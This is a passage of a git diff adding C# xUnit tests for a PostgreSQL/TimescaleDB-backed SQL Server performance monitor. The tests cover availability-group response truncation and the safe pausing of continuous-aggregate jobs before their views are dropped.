+/// <c>/api/ag</c> passes no budget, the MCP tool does not, and the page reads the truncation flag.
+/// </summary>
+public sealed class AgEveryViewLiveTests
+{
+    private const int DatabasesPerView = 12;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task WebRead_ReturnsEveryView_McpRead_KeepsAViewOfEachGroup()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live AG every-view pin.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            var when = DarlingMcpTestData.Naive(DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-2));
+            string[] servers = ["ag-every-view-a", "ag-every-view-b"];
+            string[] groups = ["AGONE", "AGTWO"];
+            string[] groupIds = ["aaaaaaaa-1111-2222-3333-abcdefabcdef", "bbbbbbbb-1111-2222-3333-abcdefabcdef"];
+
+            foreach (var serverName in servers)
+            {
+                var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+                await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+
+                for (var g = 0; g < groups.Length; g++)
+                {
+                    foreach (var replica in new[] { "NODE-A", "NODE-B" })
+                    {
+                        await DarlingMcpTestData.ExecAsync(connection, ct,
+                            @"INSERT INTO ag_replica_states (collection_id, collection_time, server_id, server_name, ag_name, replica_server_name, role_desc, operational_state_desc, connected_state_desc, recovery_health_desc, synchronization_health_desc, availability_mode_desc, failover_mode_desc, endpoint_url, group_id)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+                            CollectionIdGenerator.Next(), when, serverId, serverName, groups[g], replica, replica == "NODE-A" ? "PRIMARY" : "SECONDARY",
+                            "ONLINE", "CONNECTED", "ONLINE", "HEALTHY", "SYNCHRONOUS_COMMIT", "AUTOMATIC", "TCP://" + replica + ":5022", groupIds[g]);
+
+                        await DarlingMcpTestData.ExecAsync(connection, ct,
+                            @"INSERT INTO ag_database_replica_states (collection_id, collection_time, server_id, server_name, ag_name, database_name, replica_server_name, is_local, synchronization_state_desc, last_hardened_lsn, last_commit_lsn, log_send_queue_size, redo_queue_size, log_send_rate, redo_rate, is_suspended, suspend_reason_desc, availability_mode_desc, secondary_lag_seconds)
+SELECT $1 + n, $2, $3, $4, $5, 'ExampleDatabase_' || lpad(n::text, 4, '0'), $6, false, 'SYNCHRONIZED', '0x0003', '0x0004', 10, 20, 100, 200, false, NULL, 'SYNCHRONOUS_COMMIT', 0
+FROM generate_series(1, $7) AS n",
+                            CollectionIdGenerator.Next() * 1000L, when, serverId, serverName, groups[g], replica, DatabasesPerView);
+                    }
+                }
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            var web = await DarlingAgReader.GetAgHealthAsync(postgres, null, DateTime.UtcNow, responseByteBudget: null, cancellationToken: ct);
+            var webBytes = Encoding.UTF8.GetByteCount(JsonSerializer.Serialize(web, DarlingAgReader.JsonOptions));
+            Assert.True(webBytes > McpResponseBudget.DefaultBytes,
+                $"the seed must make a 32 KB cut drop views; the full response measured {webBytes} bytes");
+            Assert.Equal(4, web.AvailabilityGroups.Count);
+            Assert.False(web.GroupsTruncated);
+
+            var mcp = await DarlingAgReader.GetAgHealthAsync(postgres, null, DateTime.UtcNow, cancellationToken: ct);
+            Assert.True(mcp.GroupsTruncated);
+            Assert.False(string.IsNullOrEmpty(mcp.GroupsTruncatedNote));
+            Assert.True(mcp.AvailabilityGroups.Count < 4);
+            Assert.Equal(2, mcp.AvailabilityGroups.Select(v => v.GroupId).Distinct().Count());
+            Assert.Equal(4, mcp.GroupsTotal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    [Fact]
+    public void WebEndpoint_PassesNoByteBudget_AndTheMcpToolDoesNot()
+    {
+        var web = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs").ReplaceLineEndings("\n");
+        var start = web.IndexOf("app.MapGet(\"/api/ag\"", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var call = web.Substring(start, 400);
+        Assert.Contains("responseByteBudget: null", call, StringComparison.Ordinal);
+
+        var tool = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpAgTools.cs").ReplaceLineEndings("\n");
+        Assert.DoesNotContain("responseByteBudget", tool, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AgPage_ReadsGroupsTruncated_AndRendersTheNote()
+    {
+        var js = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "ag.js").ReplaceLineEndings("\n");
+        Assert.Contains("d.groups_truncated", js, StringComparison.Ordinal);
+        Assert.Contains("d.groups_truncated_note", js, StringComparison.Ordinal);
+        Assert.Contains("truncationNote(d)", js, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/AggregateJobQuiesceTests.cs b/Darling/Darling.Tests/AggregateJobQuiesceTests.cs
new file mode 100644
index 0000000000..013a3594a1
--- /dev/null
+++ b/Darling/Darling.Tests/AggregateJobQuiesceTests.cs
@@ -0,0 +1,1015 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5551: the startup sweeps stop a continuous aggregate's jobs, and wait out a worker already running, before they
+/// drop it. A refresh running during <c>DROP MATERIALIZED VIEW ... CASCADE</c> gave <c>XX000: tuple concurrently
+/// deleted</c> (#5416) and is the inferred cause of a PostgreSQL backend crash in CI (#5549). These pins hold the SQL
+/// text and the call order in the source; the live classes below prove the behaviour.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class AggregateJobQuiescePinTests
+{
+    [Fact]
+    public void JobLookup_JoinsEitherJobIdentity_BindsTheViewName_AndFollowsDependentAggregates()
+    {
+        var sql = TimescaleSupport.ContinuousAggregateJobsSql;
+
+        Assert.Contains("ca.view_schema = 'collect'", sql, StringComparison.Ordinal);
+        Assert.Contains("ca.view_name = $1::text", sql, StringComparison.Ordinal);
+        /* The view name is a parameter, never spliced into the text. */
+        Assert.DoesNotContain("'{", sql, StringComparison.Ordinal);
+        /* Both identities a job can report (the user view, as timescaledb_information.jobs resolves it, and the
+           materialization hypertable) - measured, see ContinuousAggregateRefreshStateSql. */
+        Assert.Contains("a.view_schema = j.hypertable_schema AND a.view_name = j.hypertable_name", sql, StringComparison.Ordinal);
+        Assert.Contains("a.mat_schema = j.hypertable_schema AND a.mat_name = j.hypertable_name", sql, StringComparison.Ordinal);
+        /* Every job TYPE of the aggregate (refresh, compression, retention): no proc_name filter. */
+        Assert.DoesNotContain("proc_name", sql, StringComparison.Ordinal);
+        /* A hierarchical daily tier is dropped by the CASCADE too, so its jobs are found through the parent's
+           materialization hypertable, which is what its own hypertable_name reports. */
+        Assert.Contains("WITH RECURSIVE", sql, StringComparison.Ordinal);
+        Assert.Contains("child.hypertable_name = parent.mat_name", sql, StringComparison.Ordinal);
+        Assert.Contains("j.scheduled", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Unschedule_NamesOnlyScheduled_AndReschedule_IsItsInverse_ByIntegerId()
+    {
+        Assert.Equal(
+            "SELECT alter_job(j.job_id, scheduled => false) FROM timescaledb_information.jobs AS j WHERE j.job_id = ANY($1::integer[])",
+            TimescaleSupport.UnscheduleJobsSql);
+        Assert.Equal(
+            "SELECT alter_job(j.job_id, scheduled => true) FROM timescaledb_information.jobs AS j WHERE j.job_id = ANY($1::integer[])",
+            TimescaleSupport.RescheduleJobsSql);
+    }
+
+    [Fact]
+    public void WorkerCount_MatchesTheJobIdSuffix_InThisDatabaseOnly()
+    {
+        var sql = TimescaleSupport.AggregateJobWorkerCountSql;
+
+        Assert.Contains("pg_stat_activity", sql, StringComparison.Ordinal);
+        Assert.Contains("a.datname = current_database()", sql, StringComparison.Ordinal);
+        Assert.Contains("a.backend_type LIKE '% [' || id::text || ']'", sql, StringComparison.Ordinal);
+        Assert.Contains("unnest($1::integer[])", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void InformationViewProbe_GuardsAStoreWithoutTimescaleDb()
+    {
+        Assert.Contains("to_regclass('timescaledb_information.continuous_aggregates')", TimescaleSupport.ContinuousAggregateJobsProbeSql, StringComparison.Ordinal);
+        Assert.Contains("to_regclass('timescaledb_information.jobs')", TimescaleSupport.ContinuousAggregateJobsProbeSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ProductionCap_IsThirtySeconds_AndFitsEverySweepRelationInsideTheHourlyBudget()
+    {
+        var options = TimescaleSupport.AggregateJobQuiesceOptions.Default;
+
+        Assert.Equal(TimeSpan.FromSeconds(30), options.Cap);
+        Assert.Equal(TimeSpan.FromMilliseconds(250), options.PollInterval);
+
+        /* Eight relations at most (two superseded, two retired, four reshaped), all stuck: 8 x 30 s = 240 s, inside
+           the hourly convergence pass's five-minute budget. */
+        var relations = TimescaleSupport.SupersededBaselineRelations.Length + TimescaleSupport.RetiredBaselineRelations.Length + 4;
+        Assert.True(relations * options.Cap <= TimeSpan.FromMinutes(5),
+            $"{relations} relations x {options.Cap} must stay inside the hourly pass's budget");
+    }
+
+    /// <summary>
+    /// The census: every product statement that drops a continuous aggregate runs after
+    /// <c>QuiesceContinuousAggregateJobsAsync</c> in the same loop body, and a NEW drop site fails this test until
+    /// it is added here and given the same treatment. Comments are skipped; SQL text and statements are counted.
+    /// </summary>
+    [Fact]
+    public void EveryProductDropOfAContinuousAggregate_IsPrecededByTheQuiesce()
+    {
+        var root = RepoRoot();
+        var productFiles = new[] { "PerformanceMonitor.Darling.Storage", "PerformanceMonitor.Darling.Service" }
+            .SelectMany(dir => Directory.EnumerateFiles(Path.Combine(root, "Darling", dir), "*.cs", SearchOption.AllDirectories))
+            .Where(f => !f.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                     && !f.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+            .ToArray();
+
+        var sites = new List<(string File, int Line)>();
+        foreach (var file in productFiles)
+        {
+            var lines = File.ReadAllLines(file);
+            for (var i = 0; i < lines.Length; i++)
+            {
+                var trimmed = lines[i].TrimStart();
+                /* A whole-line comment (//, ///, a block comment's first or continuation line). Matched with a regex, not a
+                   prefix call, which CommentFilterAdoptionTests' census reads as a hand-rolled comment filter. */
+                var isComment = Regex.IsMatch(trimmed, @"^(//|/\*|\*)");
+                if (!isComment && lines[i].Contains("DROP MATERIALIZED VIEW", StringComparison.Ordinal))
+                {
+                    sites.Add((Path.GetFileName(file), i + 1));
+                }
+            }
+        }
+
+        /* Two statements: the SQL text DropRetiredBaselineRelationSql builds (run by BOTH the superseded and the
+           retired pass), and the reshape's own drop. Anything else is a new drop of an aggregate. */
+        Assert.True(sites.Count == 2 && sites.All(s => s.File == "TimescaleSupport.cs"),
+            "a product drop of a continuous aggregate appeared (or moved) - give it QuiesceContinuousAggregateJobsAsync and add it here: "
+            + string.Join(", ", sites.Select(s => $"{s.File}:{s.Line}")));
+
+        var source = File.ReadAllText(Path.Combine(root, "Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs")).Replace("\r\n", "\n");
+        var runners = new[]
+        {
+            "new NpgsqlCommand(DropRetiredBaselineRelationSql(legacy), connection)",
+            "new NpgsqlCommand(DropRetiredBaselineRelationSql(view), connection)",
+            "new NpgsqlCommand($\"DROP MATERIALIZED VIEW IF EXISTS collect.{view} CASCADE\", connection)",
+        };
+        foreach (var runner in runners)
+        {
+            var at = source.IndexOf(runner, StringComparison.Ordinal);
+            Assert.True(at > 0, $"the drop statement '{runner}' moved");
+            Assert.Equal(at, source.LastIndexOf(runner, StringComparison.Ordinal));
+            var window = source[Math.Max(0, at - 900)..at];
+            Assert.Matches(@"QuiesceContinuousAggregateJobsAsync\(connection, \w+, logger, quiesce, cancellationToken\);\s+if \(hold\.Skip\)\s+\{\s+continue;\s+\}", window);
+            /* ...and the drop is followed by the hold being cleared (the jobs went with the aggregate). */
+            var after = source[at..Math.Min(source.Length, at + 400)];
+            Assert.Contains("hold = AggregateJobHold.None;", after, StringComparison.Ordinal);
+        }
+
+        /* The three catches reopen and start the jobs again (one helper, which names the stopped jobs when the
+           reopen fails), and the three cancellation catches start them again on the resume's own grace token. */
+        Assert.Equal(3, Regex.Matches(source,
+            @"if \(!await ReopenAndResumeAfterFailedDropAsync\(\s*connection, hold, \w+, logger,\s*""[^""]*"", cancellationToken\)\)\s+\{\s+return dropped;\s+\}").Count);
+        Assert.Equal(3, Regex.Matches(source,
+            @"catch \(OperationCanceledException\) when \(hold\.Unscheduled\.Count > 0\)\s+\{\s+(/\*.*?\*/\s+)?await ResumeContinuousAggregateJobsAsync\(connection, hold\.Unscheduled, \w+, logger\);\s+throw;",
+            RegexOptions.Singleline).Count);
+    }
+
+    /// <summary>
+    /// The quiesce's own exits (#5551 review): the stop is INSIDE the try whose catch schedules the jobs again, the
+    /// resume has no caller token to be cancelled with, and the cap decides on the final look.
+    /// </summary>
+    [Fact]
+    public void Quiesce_StopIsInsideTheTry_ResumeRunsOnItsOwnGrace_AndTheCapDecidesOnTheFinalLook()
+    {
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs")).Replace("\r\n", "\n");
+        var start = source.IndexOf("internal static async Task<AggregateJobHold> QuiesceContinuousAggregateJobsAsync(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var end = source.IndexOf("/// <summary>The longest a resume of stopped jobs may take", start, StringComparison.Ordinal);
+        Assert.True(end > start);
+        var body = source[start..end];
+
+        Assert.Matches(@"try\s+\{\s+if \(stoppedIds\.Length > 0\)\s+\{\s+using var stop = new NpgsqlCommand\(UnscheduleJobsSql, connection\)", body);
+        Assert.Matches(@"catch \(Exception\)\s+\{\s+(/\*[^*]*\*/\s+)?await ResumeContinuousAggregateJobsAsync\(connection, stoppedIds, view, logger\);\s+throw;", body);
+        Assert.Matches(@"if \(clock\.Elapsed >= options\.Cap\)\s+\{\s+if \(workers == 0\)\s+\{\s+return hold;\s+\}", body);
+
+        /* No resume anywhere in the product takes a caller token. */
+        Assert.DoesNotContain("ResumeContinuousAggregateJobsAfterCancellationAsync", source, StringComparison.Ordinal);
+        Assert.Matches(@"internal static async Task ResumeContinuousAggregateJobsAsync\(\s+NpgsqlConnection connection,\s+IReadOnlyList<int> stoppedJobIds,\s+string view,\s+ILogger\? logger\)", source);
+
+        /* A resume that cannot happen names the jobs and the view. */
+        Assert.Equal(4, Regex.Matches(source, @"StoppedJobsNote\(").Count); // the definition + the three log lines that use it
+
+        /* Round 2: the caller's reopen on the grace is inside a try that takes the grace's OperationCanceledException,
+           names the jobs, and lets it through only when the caller's own token is cancelled. */
+        Assert.Matches(@"try\s+\{\s+using var grace = new CancellationTokenSource\(resumeGrace \?\? s_resumeGrace\);\s+reopened = await ReopenBrokenConnectionAsync\(connection, logger, grace\.Token, reopenFailed\);\s+\}\s+catch \(OperationCanceledException\)\s+\{\s+logger\?\.LogWarning\(reopenFailed,[^;]+;\s+if \(cancellationToken\.IsCancellationRequested\)\s+\{\s+throw;", source);
+        Assert.Equal(2, Regex.Matches(source, @"new CancellationTokenSource\((resumeGrace \?\? )?s_resumeGrace\)").Count); // the resume's and the reopen's: the only two grace tokens
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "Directory.Build.props")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.False(dir is null, "could not locate the repo root from the test source path");
+        return dir!;
+    }
+}
+
+/// <summary>
+/// #5551 review round 2: the reopen after a failed drop runs on the resume grace, so a reopen that outlasts the grace
+/// must end the sweep with the stopped jobs named, like any failed reopen, and must never reach the caller as a
+/// cancellation the caller did not make. No database: the connection is never opened and the grace is zero, so the
+/// reopen's token is cancelled before it starts.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class AggregateJobGraceReopenTests
+{
+    private const string ReopenFailed = "The retired-baseline sweep's connection broke and could not be reopened, so the rest of the sweep is skipped until the next pass retries it: {Message}";
+
+    private static NpgsqlConnection ClosedConnection()
+        => new("Host=127.0.0.1;Port=1;Username=nobody;Database=none;Timeout=1");
+
+    [Fact]
+    public async Task ReopenThatOutlastsTheGrace_EndsTheSweepAndNamesTheStoppedJobs_NotACancellation()
+    {
+        var log = new CapturingTestLogger();
+        await using var connection = ClosedConnection();
+        var hold = new TimescaleSupport.AggregateJobHold(new[] { 41, 42 }, false);
+
+        var proceed = await TimescaleSupport.ReopenAndResumeAfterFailedDropAsync(
+            connection, hold, "some_view", log, ReopenFailed, CancellationToken.None, TimeSpan.Zero);
+
+        Assert.False(proceed);
+        Assert.Contains("did not reopen within 0 s", log.Joined);
+        Assert.Contains("Job(s) 41, 42 of continuous aggregate some_view are still stopped", log.Joined);
+        Assert.Contains("alter_job(<job id>, scheduled => true)", log.Joined);
+        Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task ReopenThatOutlastsTheGrace_WhileTheCallerIsCancelled_LogsTheJobsThenLetsTheCancellationThrough()
+    {
+        var log = new CapturingTestLogger();
+        await using var connection = ClosedConnection();
+        var hold = new TimescaleSupport.AggregateJobHold(new[] { 7 }, false);
+        using var cts = new CancellationTokenSource();
+        await cts.CancelAsync();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => TimescaleSupport.ReopenAndResumeAfterFailedDropAsync(
+            connection, hold, "some_view", log, ReopenFailed, cts.Token, TimeSpan.Zero));
+
+        Assert.Contains("Job(s) 7 of continuous aggregate some_view are still stopped", log.Joined);
+    }
+}
+
+/// <summary>
+/// #5551, live: the sweeps against a real TimescaleDB scheduler.
+///
+/// <para><b>#1776 own-store</b>, not <c>[Collection("live-postgres")]</c>: the tests run a real job worker, hold a
+/// session advisory lock the worker waits on, plant event triggers and read every job of the database, none of which
+/// can share the <c>darlingtest</c> store with other classes' aggregates and policies.</para>
+///
+/// <para>The worker is made to run deterministically: the aggregate selects through an <c>IMMUTABLE</c>-labelled
+/// function that takes a shared advisory lock, and the test holds the exclusive one, so the refresh job the scheduler
+/// launches sits in <c>pg_stat_activity</c> as <c>Refresh Continuous Aggregate Policy [id]</c> until the test
+/// lets it go. Every policy starts a day out so none fires on its own.</para>
+///
+/// <para><b>The scheduler (#5603).</b> It is left running: a job worker does not outlive it (measured:
+/// <c>_timescaledb_functions.stop_background_workers()</c> ends a parked worker within a millisecond), and it is what
+/// ends a worker whose job was stopped. Measured on PostgreSQL 18 with TimescaleDB 2.30.1: the scheduler wakes on a
+/// timer 5.005 s apart, and each wake shows in its own <c>pg_stat_activity</c> row (<c>state</c> goes <c>active</c>
+/// then <c>idle</c> and <c>state_change</c> moves). A job is launched, and a stopped job is noticed, only at a wake.
+/// At the wake that sees a stopped job it cancels the worker (SIGINT), stays <c>active</c> for the 3.3 s it waits,
+/// then terminates it (SIGTERM). No SQL can stop that, and in the #5603 CI failure it came about 30 ms after the stop.
+/// So a test cannot rely on SEEING a worker alive inside a time window: under load the window is missed. Each test
+/// reads facts that stay true instead.</para>
+///
+/// <list type="bullet">
+/// <item><description><b>The hold test</b> gives its gate function a trap: it catches <c>query_canceled</c>, counts the
+/// cancel in a sequence (<c>nextval</c> is not transactional, so the count survives the worker's death and rollback)
+/// and goes back to waiting. The worker then outlives the scheduler's cancel by 3.3 s, and the test waits (60 s
+/// safety bound only) for a count of 1. That count is a durable proof that the worker outlived the stop. A second
+/// count is bumped when the scheduler was NOT in a wake at that moment (a cancel the sweep itself sent would be
+/// swallowed and counted too), and must stay 0. An event trigger on the DROP records whether a worker of the view was
+/// listed when it started, and that must be 0.</description></item>
+/// <item><description><b>The cancel test</b> polls every ten minutes: after the stop and the first look the sweep
+/// sits in <c>Task.Delay</c> and cannot reach a second look, let alone the drop, so the test's cancel always lands in
+/// the wait, whatever the scheduler does to the worker.</description></item>
+/// <item><description><b>The at-the-cap test</b> needs the worker alive across a zero-cap sweep, and gives its gate the
+/// same trap as the hold test. A scheduler cancel at any wake after the sweep's stop is then counted, and the worker
+/// survives 3 s or more after it, while the sweep and its assertions take milliseconds. On a plain gate that same
+/// cancel ended the worker at once, with no "canceling statement" line in the PostgreSQL log (the policy job reports
+/// <c>invalid transaction termination</c> instead), which is how the #5603 CI failure looked.
+/// The trap swallows a cancel the SWEEP sent as well, so the test also asserts, once the worker has finished, that the
+/// foreign-cancel count is 0. A sweep that terminates the worker cannot be trapped, and fails the still-running
+/// check.</description></item>
+/// </list>
+///
+/// <para>Every test mints its own scratch database (the #1776 own-store rule above).</para>
+/// </summary>
+public sealed class AggregateJobQuiesceLiveTests
+{
+    private const long GateKey = 5551;
+    private const string Retired = "cpu_utilization_baseline";
+
+    private static readonly TimescaleSupport.AggregateJobQuiesceOptions FastCap = new(TimeSpan.FromSeconds(2), TimeSpan.FromMilliseconds(100));
+
+    /// <summary>One look and no wait: the skip path of (c) is decided by the single look the sweep takes right after the
+    /// stop, so the jobs are stopped for a few milliseconds only. A scheduler cancel in that gap is trapped by the
+    /// test's gate, and the worker survives it by 3 s or more (see the class remarks, #5603).</summary>
+    private static readonly TimescaleSupport.AggregateJobQuiesceOptions ZeroCap = new(TimeSpan.Zero, TimeSpan.FromMilliseconds(50));
+
+    /// <summary>(a) The jobs are stopped before the drop, and the drop still removes the aggregate and its jobs.</summary>
+    [Fact]
+    public async Task Sweep_StopsTheAggregatesJobsBeforeTheDrop_AndTheDropStillRemovesThemAll_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await CreateRetiredAggregateAsync(connection, Retired, ct);
+        await PlantDropProbeAsync(connection, Retired, ct);
+
+        var jobIds = await JobIdsAsync(connection, Retired, ct);
+        Assert.Equal(3, jobIds.Count);
+        Assert.All(await JobStatesAsync(connection, jobIds, ct), s => Assert.True(s.Value, "every job starts scheduled"));
+
+        var log = new CapturingTestLogger();
+        Assert.Equal(1, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, log, DateTime.UtcNow, FastCap, ct));
+
+        /* The probe ran at ddl_command_start of the DROP: every job was already stopped by then. */
+        Assert.Equal(3L, await ScalarAsync<long>(connection, "SELECT count(DISTINCT job_id) FROM collect.w5551_seen", ct));
+        Assert.Equal(0L, await ScalarAsync<long>(connection, "SELECT count(*) FROM collect.w5551_seen WHERE scheduled", ct));
+        Assert.False(await RelationExistsAsync(connection, Retired, ct), "the aggregate is gone");
+        Assert.Equal(0L, await ScalarAsync<long>(connection, $"SELECT count(*) FROM timescaledb_information.jobs WHERE hypertable_name = '{Retired}'", ct));
+        Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+    }
+
+    /// <summary>
+    /// (b) A running job worker holds the drop until it exits. Real worker: the gate keeps it inside the refresh.
+    /// While it runs the jobs are stopped (the scheduler cannot start another), the aggregate is still there and the
+    /// sweep is still waiting; once the worker exits the drop goes ahead, with no warning.
+    ///
+    /// <para>#5603: TimescaleDB's scheduler ends the worker at its first wake after the stop, so the test cannot count
+    /// on seeing the worker alive for any length of time. The gate traps the scheduler's cancel instead, and the test
+    /// waits for the recorded fact that the worker outlived the stop (see the class remarks).</para>
+    /// </summary>
+    [Fact]
+    public async Task RunningJobWorker_HoldsTheDrop_UntilItExits_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5551 quiesce tests.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await CreateRetiredAggregateAsync(connection, Retired, ct);
+        var jobIds = await JobIdsAsync(connection, Retired, ct);
+        var refreshJob = await RefreshJobIdAsync(connection, Retired, ct);
+        await PlantTrappingGateAsync(connection, ct);
+        await PlantDropBesideWorkerProbeAsync(connection, jobIds, ct);
+
+        await using var gate = new NpgsqlConnection(scratch.ConnectionString);
+        await gate.OpenAsync(ct);
+        await ExecuteAsync(gate, $"SELECT pg_advisory_lock({GateKey})", ct);
+        await using var sweeper = new NpgsqlConnection(scratch.ConnectionString);
+        await sweeper.OpenAsync(ct);
+        Task<int>? sweep = null;
+        var gateOpen = false;
+        try
+        {
+            /* No scheduler alignment: the trap makes the scheduler's cancel, whenever it comes, harmless. */
+            var workerPid = await StartBlockedWorkerAsync(connection, refreshJob, ct);
+
+            var log = new CapturingTestLogger();
+            sweep = Task.Run(() => TimescaleSupport.DropRetiredBaselineAggregatesAsync(
+                sweeper, log, DateTime.UtcNow, new TimescaleSupport.AggregateJobQuiesceOptions(TimeSpan.FromSeconds(120), TimeSpan.FromMilliseconds(100)), ct), ct);
+
+            /* The jobs are stopped while the worker runs... */
+            await WaitForJobsStoppedAsync(connection, jobIds, log, ct);
+
+            /* ...and for as long as THAT worker is alive the sweeper's own backend must never be running the DROP.
+               That is what proves the wait: with the wait removed the DROP would sit in the sweeper's
+               pg_stat_activity.query (blocked on the worker's locks, or running) from the moment the jobs are
+               stopped, while a relation-exists check alone passes either way, because a DROP blocked behind the worker
+               has not removed the view yet. Each look reads the worker, then the sweeper's query, then the worker
+               again, and judges only when the same worker was alive on both sides, so a worker that dies between two
+               reads can never fail a look. The statement text is matched by its start (DO $do$) as well as DROP
+               MATERIALIZED VIEW, because track_activity_query_size cuts the long DO block short.
+               #5603: no time window. The looks run from the moment the jobs are stopped until the gate has counted the
+               scheduler's cancel (the worker survives it, and is ended 3.3 s later at the earliest). The scheduler only
+               cancels a worker whose job was stopped, so the count is a durable proof that the worker outlived the stop,
+               however slowly this loop ran. 60 s is a safety bound, not a window. */
+            var sweeperPid = sweeper.ProcessID;
+            var safety = DateTime.UtcNow + TimeSpan.FromSeconds(60);
+            var looks = 0;
+            while (true)
+            {
+                var existsBefore = await RelationExistsAsync(connection, Retired, ct);
+                var aliveBefore = await WorkerAliveAsync(connection, workerPid, refreshJob, ct);
+                var sweeperQuery = await ScalarAsync<string>(connection, $"SELECT coalesce(query, '') FROM pg_stat_activity WHERE pid = {sweeperPid}", ct);
+                var aliveAfter = await WorkerAliveAsync(connection, workerPid, refreshJob, ct);
+                var cancels = await SequenceCountAsync(connection, "w5551_cancels", ct);
+                if (aliveBefore && aliveAfter)
+                {
+                    Assert.True(existsBefore, $"the aggregate was dropped under a running job worker: {log.Joined}");
+                    Assert.False(
+                        sweeperQuery.Contains("DROP MATERIALIZED VIEW", StringComparison.Ordinal) || sweeperQuery.TrimStart().StartsWith("DO $do$", StringComparison.Ordinal),
+                        $"the sweeper reached its DROP while the job worker (pid {workerPid}) was still alive: {log.Joined}");
+                    Assert.False(sweep.IsCompleted, $"the sweep finished while a worker was running: {log.Joined}");
+                    looks++;
+                }
+                else
+                {
+                    /* Only the scheduler's cancel, then its SIGTERM 3.3 s later, can end this worker (it is held on the
+                       gate), and the gate counts the cancel first. A death with no count was something else's doing. */
+                    Assert.True(cancels >= 1, $"the job worker (pid {workerPid}) was gone and its gate never counted a cancel: something other than the scheduler's cancel ended it: {log.Joined}");
+                }
+
+                if (cancels >= 1)
+                {
+                    break;
+                }
+
+                Assert.True(DateTime.UtcNow < safety, $"the scheduler never cancelled the stopped job's worker (pid {workerPid}) within 60 s, after {looks} looks: {log.Joined}");
+                await Task.Delay(TimeSpan.FromMilliseconds(50), ct);
+            }
+
+            /* The count must be the scheduler's: a cancel the sweep itself sent is swallowed by the same trap and
+               counted too, but it lands while the scheduler is idle (measured: the scheduler is active, with an
+               unchanged state_change, from before its cancel until after the SIGTERM that follows it). */
+            Assert.Equal(0L, await SequenceCountAsync(connection, "w5551_foreign_cancels", ct));
+
+            await ExecuteAsync(gate, $"SELECT pg_advisory_unlock({GateKey})", ct);
+            gateOpen = true;
+
+            Assert.Equal(1, await sweep.WaitAsync(TimeSpan.FromSeconds(60), ct));
+            Assert.False(await RelationExistsAsync(connection, Retired, ct), "the drop goes ahead once the worker has exited");
+            Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+
